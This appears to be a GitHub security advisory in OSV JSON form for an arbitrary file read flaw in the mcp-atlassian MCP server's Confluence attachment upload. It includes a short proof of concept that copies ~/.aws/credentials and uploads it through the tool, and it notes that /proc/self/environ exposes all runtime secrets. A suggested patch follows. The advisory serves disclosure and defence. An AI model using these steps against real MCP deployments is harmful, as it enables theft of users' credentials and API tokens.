CVE-2026-77259: MCP Atlassian Arbitrary File Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6cr4-ccf3-x7h4",
  "modified" : "2026-09-22T20:35:16Z",
  "published" : "2026-09-22T20:35:16Z",
  "aliases" : [ "CVE-2026-77259" ],
  "summary" : "MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials",
  "details" : "### Summary\n\nMissing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.\n\n---\n### Details\n\n`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:\n\n```python\n# line 477\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}\n```\nThe download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.\n\n---\n### PoC\n\n```bash\n# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)\ncp ~/.aws/credentials /tmp/diagram.png\n\n# 2. Call the MCP tool\nconfluence_upload_attachment(\n    content_id = \"<any page attacker can edit>\",\n    file_path  = \"/tmp/diagram.png\"\n)\n\n# 3. Download attachment from Confluence — contains raw credentials\n```\nTested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.\n\n---\n### Impact\nAny MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.\n\nIncomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.\n\n\n---\n### Suggested Fix\n\n```python\n# src/mcp_atlassian/confluence/attachments.py — upload_attachment()\n# Add after abspath conversion, before open():\n\ntry:\n    validate_safe_path(file_path)\nexcept ValueError as e:\n    return {\"success\": False, \"error\": str(e)}\n```\n\nSame fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/pull/1448"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-552" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:35:16Z",
    "nvd_published_at" : null
  }
}